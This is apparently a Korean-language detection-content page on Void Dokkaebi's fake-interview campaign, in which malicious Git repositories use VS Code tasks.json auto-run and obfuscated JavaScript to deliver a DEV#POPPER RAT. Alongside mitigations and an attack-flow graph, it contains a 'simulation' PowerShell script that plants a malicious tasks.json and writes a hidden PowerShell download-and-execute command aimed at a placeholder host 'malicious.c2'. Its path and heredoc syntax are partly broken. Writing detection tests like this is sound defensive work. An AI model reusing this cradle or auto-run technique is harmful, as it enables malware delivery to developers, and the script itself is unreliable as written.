가짜 인터뷰로 Git 리포지토리를 통해 악성코드를 전파하는 Void Dokkaebi
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
북한과 연계된 위협 그룹인 Void Dokkaebi가 가짜 면접 제안을 사용하여 개발자들을 악성 저장소를 복제하도록 꾀고 있습니다. 저장소가 열리면, 이러한 저장소는 주입된 VS Code 작업과 난독화된 JavaScript를 악용하여 신뢰받는 코드 프로젝트를 자동화된 악성코드 전달 채널로 바꿉니다. 감염된 저장소는 개발자 환경과 연결된 생태계를 통해 더욱 확산을 도울 수 있습니다.
조사
Trend Micro는 750개 이상의 감염된 공개 저장소와 500개 이상의 악성 VS Code 작업 구성, 그리고 커밋을 변경하기 위해 설계된 맞춤형 배치 스크립트를 포함한 101건의 사건을 밝혀냈습니다. 분석 결과 악성 코드가 블록체인 기반 서비스를 통해 페이로드를 가져와 DEV#POPPER RAT 변형을 전달했습니다. 그 악성코드는 이후 웹소켓 및 HTTP 기반 채널을 통해 공격자 인프라와 통신했습니다.
완화
추천 방어책으로는 면접 과정을 통해 받은 코드를 격리하고, .vscode/ to .gitignore를 추가하며 서명된 커밋과 브랜치 보호를 강제하고, 알려진 감염 표시를 위해 저장소를 감사합니다. 보안 팀은 의심스러운 행동을 위한 블록체인 API 트래픽을 모니터링하고, 식별된 지휘통제 URL 접근을 차단해야 합니다. 개발자는 VS Code 워크스페이스 신뢰 프롬프트를 중요한 보안 점검으로 취급해야 합니다.
대응
감염이 의심되면, 영향을 받은 작업소를 즉시 격리시키고 노출된 자격 증명을 취소하며, 악성 .vscode 작업 파일과 주입된 JavaScript를 제거하고 영향을 받은 저장소의 완전한 검토를 수행해야 합니다. 네트워크 방어도 식별된 지휘통제 패턴을 감지하도록 업데이트하고 식별된 블록체인 엔드포인트로의 아웃바운드 통신을 차단해야 합니다.
"graph TB %% Class definitions classDef stage fill:#e6f7ff classDef technique fill:#fff2cc classDef file fill:#f0e68c classDef malware fill:#ffcccc classDef indicator fill:#d9ead3 %% Node definitions stage_initial["<b>단계</b> – 초기 접근<br/>공격자가 가짜 면접과 악성 Git 리포지토리로 개발자를 유인"] class stage_initial stage tech_user_exec["<b>기법</b> – T1204 사용자 실행<br/>피해자가 링크 또는 복사한 코드를 실행"] class tech_user_exec technique tech_malicious_link["<b>기법</b> – T1204.001 악성 링크<br/>링크가 피해자를 악성 리포지토리로 안내"] class tech_malicious_link technique tech_malicious_copy["<b>기법</b> – T1204.004 악성 복사 및 붙여넣기<br/>개발자가 악성 리포지토리에서 코드를 복사"] class tech_malicious_copy technique stage_repo_harvest["<b>단계</b> – 리포지토리 수확<br/>복제된 리포지토리가 소스 코드 및 잠재적 자격 증명에 접근 제공"] class stage_repo_harvest stage tech_code_repo["<b>기법</b> – T1213.003 정보 리포지토리에서의 데이터: 코드 리포지토리<br/>적이 코드 리포지토리에서 데이터를 추출"] class tech_code_repo technique stage_execution_vs["<b>단계</b> – VS Code를 통한 실행<br/>.vscode/tasks.json이 폴더 열기 시 다운로더를 자동 실행"] class stage_execution_vs stage tech_trusted_ide["<b>기법</b> – T1127 신뢰할 수 있는 개발자 유틸리티 프록시 실행<br/>신뢰하는 IDE 확장을 악용하여 코드 실행"] class tech_trusted_ide technique tech_ide_ext["<b>기법</b> – T1176.002 소프트웨어 확장: IDE 확장<br/>악성 tasks.json이 실행을 트리거"] class tech_ide_ext technique file_tasks_json["<b>파일</b> – .vscode/tasks.json<br/>폴더 열기 시 다운로더 실행을 위해 구성"] class file_tasks_json file stage_payload_retrieval["<b>단계</b> – 페이로드 수집<br/>다운로더가 블록체인 RPC 엔드포인트에서 페이로드 가져오기"] class stage_payload_retrieval stage tech_resource_hijack["<b>기법</b> – T1496 자원 하이재킹<br/>블록체인 기반 인프라를 페이로드 전달에 이용"] class tech_resource_hijack technique tech_obfuscation["<b>기법</b> – T1027.007 난독화된 파일/정보: 동적 API 해상<br/>코드가 API 엔드포인트를 숨기고 런타임에 해상"] class tech_obfuscation technique indicator_blockchain["<b>지표</b> – 아웃바운드 블록체인 RPC 연결<br/>api.trongrid.io, aptoslabs.com 및 BSC RPC 호출"] class indicator_blockchain indicator stage_module_hijack["<b>단계</b> – 모듈 하이재킹<br/>숨겨진 .node_modules 디렉터리를 사용하여 악성 노드 모듈 사전 로드"] class stage_module_hijack stage tech_shared_modules["<b>기법</b> – T1129 공유 모듈<br/>합법적인 모듈보다 먼저 악성 모듈이 로드"] class tech_shared_modules technique file_node_modules["<b>파일</b> – .node_modules 디렉터리<br/>하이재킹된 모듈 포함"] class file_node_modules file stage_rat_deployment["<b>단계</b> – RAT 배포<br/>DEV#POPPER RAT 변종이 WebSocket C2를 설정하고 데이터를 탈취"] class stage_rat_deployment stage malware_devpopper["<b>악성코드</b> – DEV#POPPER RAT<br/>WebSocket C2, 파일 탈취, CI/CD 파이프라인 회피"] class malware_devpopper malware indicator_c2["<b>지표</b> – WebSocket C2 URL"] class indicator_c2 indicator stage_persistence["<b>단계</b> – 지속성 및 커밋 조작<br/>설정 파일과 일괄 처리 스크립트에 주입된 악성 JavaScript가 커밋 수정"] class stage_persistence stage tech_timestomp["<b>기법</b> – T1070.006 지표 제거: Timestomp<br/>시스템 시간을 변경하여 커밋 날짜를 과거로 조정"] class tech_timestomp technique file_postcss["<b>파일</b> – postcss.config.mjs<br/>주입된 난독화된 JavaScript"] class file_postcss file file_batch["<b>파일</b> – temp_auto_push.bat<br/>커밋 수정 및 강제 푸시 자동화"] class file_batch file stage_propagation["<b>단계</b> – 전파<br/>악성 .vscode 폴더 및 코드 커밋, 다운스트림 개발자들에게 감염 상속"] class stage_propagation stage tech_propagation["<b>기법</b> – T1127 신뢰할 수 있는 개발자 유틸리티 프록시 실행<br/>복제된 리포지토리에서 반복된 IDE 악용"] class tech_propagation technique tech_repo_spread["<b>기법</b> – T1213.003 정보 리포지토리에서의 데이터<br/>리포지토리 공유를 통한 악성 코드 전파"] class tech_repo_spread technique indicator_detection["<b>지표</b> – 탐지 IOCs<br/>블록체인 RPC, WebSocket C2, /verify-human/ 및 /u/f HTTP 경로"] class indicator_detection indicator %% Connections stage_initial –>|uses| tech_user_exec tech_user_exec –>|includes| tech_malicious_link tech_user_exec –>|includes| tech_malicious_copy tech_malicious_link –>|delivers| stage_repo_harvest tech_malicious_copy –>|delivers| stage_repo_harvest stage_repo_harvest –>|exploits| tech_code_repo stage_repo_harvest –>|leads to| stage_execution_vs stage_execution_vs –>|uses| tech_trusted_ide stage_execution_vs –>|uses| tech_ide_ext stage_execution_vs –>|executes| file_tasks_json stage_execution_vs –>|triggers| stage_payload_retrieval stage_payload_retrieval –>|uses| tech_resource_hijack stage_payload_retrieval –>|uses| tech_obfuscation stage_payload_retrieval –>|creates| indicator_blockchain stage_payload_retrieval –>|leads to| stage_module_hijack stage_module_hijack –>|uses| tech_shared_modules stage_module_hijack –>|contains| file_node_modules stage_module_hijack –>|leads to| stage_rat_deployment stage_rat_deployment –>|deploys| malware_devpopper malware_devpopper –>|communicates with| indicator_c2 stage_rat_deployment –>|prepares for| stage_persistence stage_persistence –>|uses| tech_timestomp stage_persistence –>|modifies| file_postcss stage_persistence –>|runs| file_batch stage_persistence –>|enables| stage_propagation stage_propagation –>|uses| tech_propagation stage_propagation –>|uses| tech_repo_spread stage_propagation –>|produces| indicator_detection "
공격 흐름
탐지
공개노드 이더리움을 C2 채널로 남용하려는 시도 가능성 (dns_query을 통해)
보기
제3자 서비스/도구를 통한 데이터 유입/유출/제어 채널 가능성 (프록시를 통해)
보기
제3자 서비스/도구를 통한 데이터 유입/유출/제어 채널 가능성 (dns을 통해)
보기
비정상 디렉토리에 생성된 VSCode 자동화 작업 구성 파일 가능성 [MACOS] (file_event을 통해)
보기
비정상 디렉토리에 생성된 VSCode 자동화 작업 구성 파일 가능성 [LINUX] (file_event을 통해)
보기
Void Dokkaebi가 Git 리포지토리를 통해 악성코드를 퍼뜨리기 위해 사용한 가짜 인터뷰 유혹을 탐지하기 위한 IOC (SourceIP)
보기
Void Dokkaebi가 Git 리포지토리를 통해 악성코드를 퍼뜨리기 위해 사용한 가짜 인터뷰 유혹을 탐지하기 위한 IOC (DestinationIP)
보기
Void Dokkaebi의 악성 VS Code 작업 및 난독화된 JavaScript 탐지 [Windows 파일 이벤트]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 기준선 사전 비행 점검이 통과해야 합니다.
근거: 이 섹션은 탐지 규칙을 트리거하기 위한 상대의 기술 (TTP)의 정확한 실행을 상세히 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영해야 하며 탐지 논리가 예상하는 정확한 텔레메트리를 생성해야 합니다. 추상적이거나 관련이 없는 예는 오진으로 이어질 수 있습니다.
-
공격 내러티브 및 명령:
개발자를 악성 저장소를 복제하도록 설득한 공격자가 은밀한 VS Codetasks.json을 프로젝트의.vscode폴더에 삽입합니다. 이 작업은 시스템의 임시 디렉토리에 위치한temp_auto_push.bat스크립트를 참조합니다. 배치 파일은 탐지를 위한 마커를 포함한 난독화된 JavaScript 조각에서 즉석에서 생성됩니다global['!']andglobal['_V']. 개발자가 VS Code에서 폴더를 열면 작업이 자동으로 실행되어 배치 파일을 실행하고, 결국 C2 서버에 도달합니다. 이 체인은 T1053.007 (VS Code 작업), T1127.003 (배치를 통한 지속적 단축키), 및 T1027.007 (난독화)를 충족합니다.단계는 다음과 같습니다:
- 필요한 문자열과 함께 악성
tasks.json을 배치합니다. - 난독화된 JavaScript를 만듭니다 이를 평가할 때 악성 명령을 포함하는
temp_auto_push.bat을 작성합니다. - VS Code 작업 실행을 트리거합니다 (코드를 통해 작업을 호출하여 시뮬레이션된 실행으로)
code --folder-uriCLI로).
- 필요한 문자열과 함께 악성
-
회귀 테스트 스크립트:
# ------------------------------------------------- # Void Dokkaebi VS Code Task & Obfuscated JS Simulation # ------------------------------------------------- $vscodeDir = "$env:USERPROFILE.vscode" $taskFile = Join-Path $vscodeDir "tasks.json" $tempBat = "$env:TEMPtemp_auto_push.bat" $jsPayload = @" (function(){ var g = global; g['!'] = true; // detect 마커 g['_V'] = 'payload'; var cmd = 'powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(''http://malicious.c2/payload.ps1''))"'; var fso = new ActiveXObject('Scripting.FileSystemObject'); var file = fso.CreateTextFile('$tempBat', true); file.WriteLine(cmd); file.Close(); })(); "@ # 1. .vscode 폴더가 존재하도록 합니다 New-Item -ItemType Directory -Path $vscodeDir -Force | Out-Null # 2. 악성 tasks.json 작성 @" { "version": "2.0.0", "tasks": [ { "label": "AutoPush", "type": "shell", "command": "cscript //nologo //E:jscript //B - <<'JS'n$jsPayloadnJS" } ] } "@ | Set-Content -Path $taskFile -Encoding UTF8 # 3. (선택사항) VS Code 자동 실행을 모방하여 작업을 직접 호출 # 주의: 실제 환경에서 VS Code가 이 작업을 파싱하고 실행합니다. Write-Host "악성 VS Code 작업 배포. 시뮬레이션 실행을 통해 트리거 중..." cscript //nologo //E:jscript //B - <<'JS' $jsPayload JS Write-Host "시뮬레이션 완료. 가리침 시스템에서 경고 확인." -
정리 명령:
# 악성 아티팩트 제거 Remove-Item -Path "$env:USERPROFILE.vscodetasks.json" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPtemp_auto_push.bat" -Force -ErrorAction SilentlyContinue # 테스트만을 위해 생성된 경우 .vscode 디렉토리를 옵션으로 삭제 if ((Get-ChildItem "$env:USERPROFILE.vscode").Count -eq 0) { Remove-Item -Path "$env:USERPROFILE.vscode" -Force -Recurse -ErrorAction SilentlyContinue } Write-Host "정리 완료."